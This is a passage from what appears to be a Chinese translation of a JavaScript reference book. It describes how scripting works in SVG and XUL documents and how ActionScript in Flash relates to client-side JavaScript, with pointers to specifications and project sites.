         SVG(ScalableVector Graphics,可缩放矢量图形)是一种基于XML的图形格式,它允许嵌入的JavaScript调用。客户端JavaScript可以脚本化自己所嵌入的HTML文档,而嵌入到一个SVG文件的JavaScript代码则可以脚本化这个文档的XML元素。第15章和第17章中的内容和SVG脚本化相关,但是并不充分,用于SVG的DOM和HTML DOM有着本质的不同。

SVG规范位于http://www.w3.org/TR/SVG。该规范的附录B定义了SVG DOM。第22章使用嵌入到一个HTML文件中的客户端JavaScript来创建一个SVG文档。这个SVG文档也嵌入到一个HTML文档中。既然JavaScript代码在SVG文档之外,这就是一个常规客户端JavaScript的例子,而不是JavaScript的SVG嵌入的例子。

XUL

         XUL是一种基于XML的语法,用来描述用户界面。FirefoxWeb浏览器的GUI就是用XUL文档定义的。和SVG一样,XUL语法允许JavaScript脚本。和SVG一样,第15章和第17章中的内容和XUL编程有关。但是,一个XUL文档中的JavaScript代码能够访问不同的对象和API,并且倾向于与客户端JavaScript代码不同的安全模式。要了解更多XUL的内容可以访问http://www.mozilla.org/projects/xul和http://www.xulplanet.com。

ActionScript

         ActionScript是一种类似JavaScript的语言(同样派生自ECMAScript规范,但是沿着面向对象的方向发展),它用于Flash电影中。本书第一部分中的大多数核心JavaScript材料和ActionScript编程相关。Flash并非基于XML或基于HTML,并且Flash所展示的API和本书所讨论的那些API没有关系。本书第19章、第22章和第23章中包含了有关客户端JavaScript如何脚本化Flash电影的例子。这些例子需要包括小段的ActionScript代码,但是,焦点是使用常规的客户端JavaScript和这些代码交互。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

原创粉丝点击